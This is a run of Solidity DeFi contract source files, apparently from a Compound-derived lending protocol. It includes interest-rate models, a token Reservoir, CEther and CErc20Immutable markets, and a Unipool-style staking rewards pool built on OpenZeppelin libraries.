/// @notice The rate at which the flywheel distributes COMP, per block uint public compRate; /// @notice The portion of compRate that each market currently receives mapping(address => uint) public compSpeeds; /// @notice The COMP market supply state for each market mapping(address => CompMarketState) public compSupplyState; /// @notice The COMP market borrow state for each market mapping(address => CompMarketState) public compBorrowState; /// @notice The COMP borrow index for each market for each supplier as of the last time they accrued COMP mapping(address => mapping(address => uint)) public compSupplierIndex; /// @notice The COMP borrow index for each market for each borrower as of the last time they accrued COMP mapping(address => mapping(address => uint)) public compBorrowerIndex; /// @notice The COMP accrued but not yet transferred to each user mapping(address => uint) public compAccrued; } pragma solidity ^0.5.16; import "./InterestRateModel.sol"; import "./SafeMath.sol"; /** * @title Compound's WhitePaperInterestRateModel Contract * @author Compound * @notice The parameterized model described in section 2.4 of the original Compound Protocol whitepaper */ contract WhitePaperInterestRateModel is InterestRateModel { using SafeMath for uint; event NewInterestParams(uint baseRatePerBlock, uint multiplierPerBlock); /** * @notice The approximate number of blocks per year that is assumed by the interest rate model */ uint public constant blocksPerYear = 2102400; /** * @notice The multiplier of utilization rate that gives the slope of the interest rate */ uint public multiplierPerBlock; /** * @notice The base interest rate which is the y-intercept when utilization rate is 0 */ uint public baseRatePerBlock; /** * @notice Construct an interest rate model * @param baseRatePerYear The approximate target base APR, as a mantissa (scaled by 1e18) * @param multiplierPerYear The rate of increase in interest rate wrt utilization (scaled by 1e18) */ constructor(uint baseRatePerYear, uint multiplierPerYear) public { baseRatePerBlock = baseRatePerYear.div(blocksPerYear); multiplierPerBlock = multiplierPerYear.div(blocksPerYear); emit NewInterestParams(baseRatePerBlock, multiplierPerBlock); } /** * @notice Calculates the utilization rate of the market: `borrows / (cash + borrows - reserves)` * @param cash The amount of cash in the market * @param borrows The amount of borrows in the market * @param reserves The amount of reserves in the market (currently unused) * @return The utilization rate as a mantissa between [0, 1e18] */ function utilizationRate(uint cash, uint borrows, uint reserves) public pure returns (uint) { // Utilization rate is 0 when there are no borrows if (borrows == 0) { return 0; } return borrows.mul(1e18).div(cash.add(borrows).sub(reserves)); } /** * @notice Calculates the current borrow rate per block, with the error code expected by the market * @param cash The amount of cash in the market * @param borrows The amount of borrows in the market * @param reserves The amount of reserves in the market * @return The borrow rate percentage per block as a mantissa (scaled by 1e18) */ function getBorrowRate(uint cash, uint borrows, uint reserves) public view returns (uint) { uint ur = utilizationRate(cash, borrows, reserves); return ur.mul(multiplierPerBlock).div(1e18).add(baseRatePerBlock); } /** * @notice Calculates the current supply rate per block * @param cash The amount of cash in the market * @param borrows The amount of borrows in the market * @param reserves The amount of reserves in the market * @param reserveFactorMantissa The current reserve factor for the market * @return The supply rate percentage per block as a mantissa (scaled by 1e18) */ function getSupplyRate(uint cash, uint borrows, uint reserves, uint reserveFactorMantissa) public view returns (uint) { uint oneMinusReserveFactor = uint(1e18).sub(reserveFactorMantissa); uint borrowRate = getBorrowRate(cash, borrows, reserves); uint rateToPool = borrowRate.mul(oneMinusReserveFactor).div(1e18); return utilizationRate(cash, borrows, reserves).mul(rateToPool).div(1e18); } } pragma solidity ^0.5.16; /** * @title Reservoir Contract * @notice Distributes a token to a different contract at a fixed rate. * @dev This contract must be poked via the `drip()` function every so often. * @author Compound */ contract Reservoir { /// @notice The block number when the Reservoir started (immutable) uint public dripStart; /// @notice Tokens per block that to drip to target (immutable) uint public dripRate; /// @notice Reference to token to drip (immutable) EIP20Interface public token; /// @notice Target to receive dripped tokens (immutable) address public target; /// @notice Amount that has already been dripped uint public dripped; /** * @notice Constructs a Reservoir * @param dripRate_ Numer of tokens per block to drip * @param token_ The token to drip * @param target_ The recipient of dripped tokens */ constructor(uint dripRate_, EIP20Interface token_, address target_) public { dripStart = block.number; dripRate = dripRate_; token = token_; target = target_; dripped = 0; } /** * @notice Drips the maximum amount of tokens to match the drip rate since inception * @dev Note: this will only drip up to the amount of tokens available. * @return The amount of tokens dripped in this call */ function drip() public returns (uint) { // First, read storage into memory EIP20Interface token_ = token; uint reservoirBalance_ = token_.balanceOf(address(this)); // TODO: Verify this is a static call uint dripRate_ = dripRate; uint dripStart_ = dripStart; uint dripped_ = dripped; address target_ = target; uint blockNumber_ = block.number; // Next, calculate intermediate values uint dripTotal_ = mul(dripRate_, blockNumber_ - dripStart_, "dripTotal overflow"); uint deltaDrip_ = sub(dripTotal_, dripped_, "deltaDrip underflow"); uint toDrip_ = min(reservoirBalance_, deltaDrip_); uint drippedNext_ = add(dripped_, toDrip_, "tautological"); // Finally, write new `dripped` value and transfer tokens to target dripped = drippedNext_; token_.transfer(target_, toDrip_); return toDrip_; } /* Internal helper functions for safe math */ function add(uint a, uint b, string memory errorMessage) internal pure returns (uint) { uint c = a + b; require(c >= a, errorMessage); return c; } function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b, string memory errorMessage) internal pure returns (uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, errorMessage); return c; } function min(uint a, uint b) internal pure returns (uint) { if (a <= b) { return a; } else { return b; } } } import "./EIP20Interface.sol"; // Modified from Synthetix's Unipool: https://etherscan.io/address/0x48D7f315feDcaD332F68aafa017c7C158BC54760#code // File: @openzeppelin/contracts/math/Math.sol pragma solidity ^0.5.0; /** * @dev Standard math utilities missing in the Solidity language. */ library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } // File: @openzeppelin/contracts/math/SafeMath.sol pragma solidity ^0.5.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: @openzeppelin/contracts/GSN/Context.sol pragma solidity ^0.5.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/ownership/Ownable.sol pragma solidity ^0.5.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { _owner = _msgSender(); emit OwnershipTransferred(address(0), _owner); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } /** * @dev Returns true if the caller is the current owner. */ function isOwner() public view returns (bool) { return _msgSender() == _owner; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity ^0.5.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity ^0.5.5; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * This test is non-exhaustive, and there may be false-negatives: during the * execution of a contract's constructor, its address will be reported as * not containing a contract. * * IMPORTANT: It is unsafe to assume that an address for which this * function returns false is an externally-owned account (EOA) and not a * contract. */ function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } /** * @dev Converts an `address` into `address payable`. Note that this is * simply a type cast: the actual underlying value is not changed. * * _Available since v2.4.0._ */ function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. * * _Available since v2.4.0._ */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-call-value (bool success, ) = recipient.call.value(amount)(""); require(success, "Address: unable to send value, recipient may have reverted"); } } // File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol pragma solidity ^0.5.0; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. // A Solidity high level call has three parts: // 1. The target address is checked to verify it contains contract code // 2. The call itself is made, and success asserted // 3. The return value is decoded, which in turn checks the size of the returned data. // solhint-disable-next-line max-line-length require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File: contracts/IRewardDistributionRecipient.sol pragma solidity ^0.5.0; contract IRewardDistributionRecipient is Ownable { address rewardDistribution; function notifyRewardAmount(uint256 reward) external; modifier onlyRewardDistribution() { require(_msgSender() == rewardDistribution, "Caller is not reward distribution"); _; } function setRewardDistribution(address _rewardDistribution) external onlyOwner { rewardDistribution = _rewardDistribution; } } // File: contracts/PctPool.sol pragma solidity ^0.5.0; contract LPTokenWrapper { using SafeMath for uint256; using SafeERC20 for IERC20; IERC20 public stakeToken; uint256 private _totalSupply; mapping(address => uint256) private _balances; constructor(address stakeTokenAddress) public { stakeToken = IERC20(stakeTokenAddress); } function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address account) public view returns (uint256) { return _balances[account]; } function stake(uint256 amount) public { _totalSupply = _totalSupply.add(amount); _balances[msg.sender] = _balances[msg.sender].add(amount); stakeToken.safeTransferFrom(msg.sender, address(this), amount); } function withdraw(uint256 amount) public { _totalSupply = _totalSupply.sub(amount); _balances[msg.sender] = _balances[msg.sender].sub(amount); stakeToken.safeTransfer(msg.sender, amount); } } contract PctPool is LPTokenWrapper, IRewardDistributionRecipient { IERC20 public pct; uint256 public constant DURATION = 14 days; uint256 public periodFinish = 0; uint256 public rewardRate = 0; uint256 public lastUpdateTime; uint256 public rewardPerTokenStored; mapping(address => uint256) public userRewardPerTokenPaid; mapping(address => uint256) public rewards; constructor(address pctAddress, address stakeTokenAddress) LPTokenWrapper(stakeTokenAddress) public { rewardDistribution = msg.sender; pct = IERC20(pctAddress); } event RewardAdded(uint256 reward); event Staked(address indexed user, uint256 amount); event Withdrawn(address indexed user, uint256 amount); event RewardPaid(address indexed user, uint256 reward); modifier updateReward(address account) { rewardPerTokenStored = rewardPerToken(); lastUpdateTime = lastTimeRewardApplicable(); if (account != address(0)) { rewards[account] = earned(account); userRewardPerTokenPaid[account] = rewardPerTokenStored; } _; } function lastTimeRewardApplicable() public view returns (uint256) { return Math.min(block.timestamp, periodFinish); } function rewardPerToken() public view returns (uint256) { if (totalSupply() == 0) { return rewardPerTokenStored; } return rewardPerTokenStored.add( lastTimeRewardApplicable() .sub(lastUpdateTime) .mul(rewardRate) .mul(1e18) .div(totalSupply()) ); } function earned(address account) public view returns (uint256) { return balanceOf(account) .mul(rewardPerToken().sub(userRewardPerTokenPaid[account])) .div(1e18) .add(rewards[account]); } // stake visibility is public as overriding LPTokenWrapper's stake() function function stake(uint256 amount) public updateReward(msg.sender) { require(amount > 0, "Cannot stake 0"); super.stake(amount); emit Staked(msg.sender, amount); } function withdraw(uint256 amount) public updateReward(msg.sender) { require(amount > 0, "Cannot withdraw 0"); super.withdraw(amount); emit Withdrawn(msg.sender, amount); } function exit() external { withdraw(balanceOf(msg.sender)); getReward(); } function getReward() public updateReward(msg.sender) { uint256 reward = earned(msg.sender); if (reward > 0) { rewards[msg.sender] = 0; pct.safeTransfer(msg.sender, reward); emit RewardPaid(msg.sender, reward); } } function notifyRewardAmount(uint256 reward) external onlyRewardDistribution updateReward(address(0)) { if (block.timestamp >= periodFinish) { rewardRate = reward.div(DURATION); } else { uint256 remaining = periodFinish.sub(block.timestamp); uint256 leftover = remaining.mul(rewardRate); rewardRate = reward.add(leftover).div(DURATION); } lastUpdateTime = block.timestamp; periodFinish = block.timestamp.add(DURATION); emit RewardAdded(reward); } }pragma solidity ^0.5.16; import "./CErc20.sol"; /** * @title Compound's CErc20Immutable Contract * @notice CTokens which wrap an EIP-20 underlying and are immutable * @author Compound */ contract CErc20Immutable is CErc20 { /** * @notice Construct a new money market * @param underlying_ The address of the underlying asset * @param comptroller_ The address of the Comptroller * @param interestRateModel_ The address of the interest rate model * @param initialExchangeRateMantissa_ The initial exchange rate, scaled by 1e18 * @param name_ ERC-20 name of this token * @param symbol_ ERC-20 symbol of this token * @param decimals_ ERC-20 decimal precision of this token * @param admin_ Address of the administrator of this token */ constructor(address underlying_, ComptrollerInterface comptroller_, InterestRateModel interestRateModel_, uint initialExchangeRateMantissa_, string memory name_, string memory symbol_, uint8 decimals_, address payable admin_) public { // Creator of the contract is admin during initialization admin = msg.sender; // Initialize the market initialize(underlying_, comptroller_, interestRateModel_, initialExchangeRateMantissa_, name_, symbol_, decimals_); // Set the proper admin now that initialization is done admin = admin_; } } pragma solidity ^0.5.16; import "./CToken.sol"; /** * @title Compound's CEther Contract * @notice CToken which wraps Ether * @author Compound */ contract CEther is CToken { /** * @notice Construct a new CEther money market * @param comptroller_ The address of the Comptroller * @param interestRateModel_ The address of the interest rate model * @param initialExchangeRateMantissa_ The initial exchange rate, scaled by 1e18 * @param name_ ERC-20 name of this token * @param symbol_ ERC-20 symbol of this token * @param decimals_ ERC-20 decimal precision of this token * @param admin_ Address of the administrator of this token */ constructor(ComptrollerInterface comptroller_, InterestRateModel interestRateModel_, uint initialExchangeRateMantissa_, string memory name_, string memory symbol_, uint8 decimals_, address payable admin_) public { // Creator of the contract is admin during initialization admin = msg.sender; initialize(comptroller_, interestRateModel_, initialExchangeRateMantissa_, name_, symbol_, decimals_); // Set the proper admin now that initialization is done admin = admin_; } /*** User Interface ***/ /** * @notice Sender supplies assets into the market and receives cTokens in exchange * @dev Reverts upon any failure */ function mint() external payable { (uint err,) = mintInternal(msg.value); requireNoError(err, "mint failed"); } /** * @notice Sender redeems cTokens in exchange for the underlying asset * @dev Accrues interest whether or not the operation succeeds, unless reverted * @param redeemTokens The number of cTokens to redeem into underlying * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function redeem(uint redeemTokens) external returns (uint) { return redeemInternal(redeemTokens); } /** * @notice Sender redeems cTokens in exchange for a specified amount of underlying asset * @dev Accrues interest whether or not the operation succeeds, unless reverted * @param redeemAmount The amount of underlying to redeem * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function redeemUnderlying(uint redeemAmount) external returns (uint) { return redeemUnderlyingInternal(redeemAmount); } /** * @notice Sender borrows assets from the protocol to their own address * @param borrowAmount The amount of the underlying asset to borrow * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function borrow(uint borrowAmount) external returns (uint) { return borrowInternal(borrowAmount); } /** * @notice Sender repays their own borrow * @dev Reverts upon any failure */ function repayBorrow() external payable { (uint err,) = repayBorrowInternal(msg.value); requireNoError(err, "repayBorrow failed"); } /** * @notice Sender repays a borrow belonging to borrower * @dev Reverts upon any failure * @param borrower the account with the debt being payed off */ function repayBorrowBehalf(address borrower) external payable { (uint err,) = repayBorrowBehalfInternal(borrower, msg.value); requireNoError(err, "repayBorrowBehalf failed"); } /** * @notice The sender liquidates the borrowers collateral. * The collateral seized is transferred to the liquidator. * @dev Reverts upon any failure * @param borrower The borrower of this cToken to be liquidated * @param cTokenCollateral The market in which to seize collateral from the borrower */ function liquidateBorrow(address borrower, CToken cTokenCollateral) external payable { (uint err,) = liquidateBorrowInternal(borrower, msg.value, cTokenCollateral); requireNoError(err, "liquidateBorrow failed"); } /** * @notice Send Ether to CEther to mint */ function () external payable { (uint err,) = mintInternal(msg.value); requireNoError(err, "mint failed"); } /*** Safe Token ***/ /** * @notice Gets balance of this contract in terms of Ether, before this message * @dev This excludes the value of the current message, if any * @return The quantity of Ether owned by this contract */ function getCashPrior() internal view returns (uint) { (MathError err, uint startingBalance) = subUInt(address(this).balance, msg.value); require(err == MathError.NO_ERROR); return startingBalance; } /** * @notice Perform the actual transfer in, which is a no-op * @param from Address sending the Ether * @param amount Amount of Ether being sent * @return The actual amount of Ether transferred */ function doTransferIn(address from, uint amount) internal returns (uint) { // Sanity checks require(msg.sender == from, "sender mismatch"); require(msg.value == amount, "value mismatch"); return amount; } function doTransferOut(address payable to, uint amount) internal { /* Send the Ether, with minimal gas and revert on failure */ to.transfer(amount); } function requireNoError(uint errCode, string memory message) internal pure { if (errCode == uint(Error.NO_ERROR)) { return; } bytes memory fullMessage = new bytes(bytes(message).length + 5); uint i; for (i = 0; i < bytes(message).length; i++) { fullMessage[i] = bytes(message)[i]; } fullMessage[i+0] = byte(uint8(32)); fullMessage[i+1] = byte(uint8(40)); fullMessage[i+2] = byte(uint8(48 + ( errCode / 10 ))); fullMessage[i+3] = byte(uint8(48 + ( errCode % 10 ))); fullMessage[i+4] = byte(uint8(41)); require(errCode == uint(Error.NO_ERROR), string(fullMessage)); } } pragma solidity ^0.5.16; import "./JumpRateModelV2.sol"; import "./SafeMath.sol"; /** * @title Compound's DAIInterestRateModel Contract (version 3) * @author Compound (modified by Dharma Labs) * @notice The parameterized model described in section 2.4 of the original Compound Protocol whitepaper. * Version 3 modifies the interest rate model in Version 2 by increasing the initial "gap" or slope of * the model prior to the "kink" from 2% to 4%, and enabling updateable parameters. */ contract DAIInterestRateModelV3 is JumpRateModelV2 { using SafeMath for uint; /** * @notice The additional margin per block separating the base borrow rate from the roof. */ uint public gapPerBlock; /** * @notice The assumed (1 - reserve factor) used to calculate the minimum borrow rate (reserve factor = 0.05) */ uint public constant assumedOneMinusReserveFactorMantissa = 0.95e18; PotLike pot; JugLike jug; /** * @notice Construct an interest rate model * @param jumpMultiplierPerYear The multiplierPerBlock after hitting a specified utilization point * @param kink_ The utilization point at which the jump multiplier is applied * @param pot_ The address of the Dai pot (where DSR is earned) * @param jug_ The address of the Dai jug (where SF is kept) * @param owner_ The address of the owner, i.e. the Timelock contract (which has the ability to update parameters directly) */ constructor(uint jumpMultiplierPerYear, uint kink_, address pot_, address jug_, address owner_) JumpRateModelV2(0, 0, jumpMultiplierPerYear, kink_, owner_) public { gapPerBlock = 4e16 / blocksPerYear; pot = PotLike(pot_); jug = JugLike(jug_); poke(); } /** * @notice External function to update the parameters of the interest rate model * @param baseRatePerYear The approximate target base APR, as a mantissa (scaled by 1e18). For DAI, this is calculated from DSR and SF. Input not used. * @param gapPerYear The Additional margin per year separating the base borrow rate from the roof. (scaled by 1e18) * @param jumpMultiplierPerYear The jumpMultiplierPerYear after hitting a specified utilization point * @param kink_ The utilization point at which the jump multiplier is applied */ function updateJumpRateModel(uint baseRatePerYear, uint gapPerYear, uint jumpMultiplierPerYear, uint kink_) external { require(msg.sender == owner, "only the owner may call this function."); gapPerBlock = gapPerYear / blocksPerYear; updateJumpRateModelInternal(0, 0, jumpMultiplierPerYear, kink_); poke(); } /** * @notice Calculates the current supply interest rate per block including the Dai savings rate * @param cash The total amount of cash the market has * @param borrows The total amount of borrows the market has outstanding * @param reserves The total amnount of reserves the market has * @param reserveFactorMantissa The current reserve factor the market has * @return The supply rate per block (as a percentage, and scaled by 1e18) */ function getSupplyRate(uint cash, uint borrows, uint reserves, uint reserveFactorMantissa) public view returns (uint) { uint protocolRate = super.getSupplyRate(cash, borrows, reserves, reserveFactorMantissa); uint underlying = cash.add(borrows).sub(reserves); if (underlying == 0) { return protocolRate; } else { uint cashRate = cash.mul(dsrPerBlock()).div(underlying); return cashRate.add(protocolRate); } } /** * @notice Calculates the Dai savings rate per block * @return The Dai savings rate per block (as a percentage, and scaled by 1e18) */ function dsrPerBlock() public view returns (uint) { return pot .dsr().sub(1e27) // scaled 1e27 aka RAY, and includes an extra "ONE" before subraction .div(1e9) // descale to 1e18 .mul(15); // 15 seconds per block } /** * @notice Resets the baseRate and multiplier per block based on the stability fee and Dai savings rate */ function poke() public { (uint duty, ) = jug.ilks("ETH-A"); uint stabilityFeePerBlock = duty.add(jug.base()).sub(1e27).mul(1e18).div(1e27).mul(15); // We ensure the minimum borrow rate >= DSR / (1 - reserve factor) baseRatePerBlock = dsrPerBlock().mul(1e18).div(assumedOneMinusReserveFactorMantissa); // The roof borrow rate is max(base rate, stability fee) + gap, from which we derive the slope if (baseRatePerBlock < stabilityFeePerBlock) { multiplierPerBlock = stabilityFeePerBlock.sub(baseRatePerBlock).add(gapPerBlock).mul(1e18).div(kink); } else { multiplierPerBlock = gapPerBlock.mul(1e18).div(kink); } emit NewInterestParams(baseRatePerBlock, multiplierPerBlock, jumpMultiplierPerBlock, kink); } } /*** Maker Interfaces ***/ contract PotLike { function chi() external view returns (uint); function dsr() external view returns (uint); function rho() external view returns (uint); function pie(address) external view returns (uint); function drip() external returns (uint); function join(uint) external; function 